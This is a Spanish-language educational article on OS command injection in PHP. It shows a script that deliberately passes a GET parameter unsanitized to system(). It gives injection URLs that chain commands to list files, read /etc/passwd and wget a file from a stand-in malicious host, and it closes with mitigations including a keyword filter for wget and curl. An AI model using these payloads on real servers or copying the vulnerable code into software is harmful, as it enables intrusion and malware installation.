* Toda la información contenida en este artículo es con fines académicos.
En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como
system,
exec, etc.
Estas funciones tiene la facultad de ejecutar desde php
comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una
inyección de código y ejecutar comandos
arbitratiamente en el servidor.
Un ejemplo práctico:
Este programa lo que hace es tomar una variable por
médoto get (también aplica para post con los cambios necesarios) y crea un directorio
<?
if (trim($_GET['directorio'])!=NULL) {
system ("mkdir {$_GET['directorio']}");
echo "directorio creado {$_GET['directorio']}";
}
else
echo "directorio vacio";
?>
NOTA IMPORTANTE: Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios.
En la url del navegador se escribirá algo como sigue:
http://misitio.net/dirs/script.php?directorio=directorionuevo
("
directorionuevo" es el directorio recién creado)
En la línea del código:
system ("mkdir {$_GET['directorio']}");
se ejecuta un comando de sistema operativo con la función
system para crear el directorio.
Si sustituitmos la ejecución del script desde el navegador en la función
system tendremos:
mkdir directorionuevo
Nosotros sabemos que en
linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:
mkdir directorionuevo; pwd
Bien, ahora nosotros podemos hacer lo mismo desde la
url del navegador:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd
con esto nos creará el directorio "
directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el
script (comando pwd).
/var/www/html/dirs/
Nota: El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.
Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777
Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque
brute force:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd
Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt
El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.
Solución
Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.
Aquí presentamos algunas soluciones:
En este caso específico, usar la funcion mkdir de php, en vez del comando system para ejecutar un comando de sistema operativo
No usar las funciones shell_exec,exec,system,readfile,passthru,escapeshellcmd,proc_open,posix_uname,posix_getuid,posix_geteuid, posix_getgid,getcwd para comandos en sistema operativo
Si se administran host virtuales, en el archivo php.ini agregar las funciones anteriores en la directiva "disable_functions"
Revisar en access_log comportamnientos extraños y por medi de fw bloquear las ip's
Tambien para evitar la inyección de wget, GET, curl, y demás comandos para descargar software se puede agregar un script en el php.ini en la directiva, auto_prepend_file para que cuando se detecten en la url de cualquier script php, se omita la ejecución para no descargar el software:
<?
foreach ($_GET as $variable => $valor)
if (eregi("wget |curl |GET ", $valor)) {
exit;
}
?>
Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.
Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.
Esperamos sus comentarios.